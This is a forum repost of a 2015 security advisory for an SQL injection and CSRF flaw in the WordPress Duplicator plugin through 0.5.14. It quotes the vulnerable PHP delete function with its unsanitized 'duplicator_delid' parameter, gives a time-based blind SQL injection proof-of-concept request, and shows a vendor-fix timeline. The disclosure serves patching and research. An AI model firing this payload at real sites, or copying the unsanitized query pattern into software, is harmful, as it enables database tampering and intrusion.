Jump to content
Sign in to follow this  
KhiZaRix

WordPress Duplicator 0.5.14 Cross Site Request Forgery / SQL Injection

Recommended Posts

######################

# Exploit Title : Wordpress Duplicator <= 0.5.14 - SQL Injection & CSRF

# Exploit Author : Claudio Viviani

# Vendor Homepage : WordPress Duplicator - Copy, Move, Clone or Backup your WordPress

# Software Link : https://downloads.wordpress.org/plugin/duplicator.0.5.14.zip

# Date : 2015-04-08

# Tested on : Linux / Mozilla Firefox

######################

# Description

Wordpress Duplicator 0.5.14 suffers from remote SQL Injection Vulnerability

Location file: /view/actions.php

This is the bugged ajax functions wp_ajax_duplicator_package_delete:

function duplicator_package_delete() {

DUP_Util::CheckPermissions('export');

try {

global $wpdb;

$json = array();

$post = stripslashes_deep($_POST);

$tblName = $wpdb->prefix . 'duplicator_packages';

$postIDs = isset($post['duplicator_delid']) ? $post['duplicator_delid'] : null;

$list = explode(",", $postIDs);

$delCount = 0;

if ($postIDs != null) {

foreach ($list as $id) {

$getResult = $wpdb->get_results("SELECT name, hash FROM `{$tblName}` WHERE id = {$id}", ARRAY_A);

if ($getResult) {

$row = $getResult[0];

$nameHash = "{$row['name']}_{$row['hash']}";

$delResult = $wpdb->query("DELETE FROM `{$tblName}` WHERE id = {$id}");

if ($delResult != 0) {

$post['duplicator_delid'] variable is not sanitized

A authorized user with "export" permission or a remote unauthenticated attacker could

use this vulnerability to execute arbitrary SQL queries on the victim

WordPress web site by enticing an authenticated admin (CSRF)

######################

# PoC

http://target/wp-admin/admin-ajax.php?action=duplicator_package_delete

POST: duplicator_delid=1 and (select * from (select(sleep(20)))a)

######################

# Vulnerability Disclosure Timeline:

2015-04-08: Discovered vulnerability

2015-04-08: Vendor Notification

2015-04-09: Vendor Response/Feedback

2015-04-10: Vendor Send Fix/Patch

2015-04-10: Public Disclosure

#######################

Discovered By : Claudio Viviani

HomeLab IT - Virtualization, Security, Linux Blog - Virtualization, Security, Linux Blog

F.F.H.D - Free Fuzzy Hashes Database (Free Fuzzy Hashes Database)

info@homelab.it

homelabit@protonmail.ch

https://www.facebook.com/homelabit

https://twitter.com/homelabit

https://plus.google.com/+HomelabIt1/

https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

#####################

Source: http://packetstorm.wowhacker.com/1504-exploits/wpduplicator-sqlxsrf.txt

Share this post


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Sign in to follow this  

×
×
  • Create New...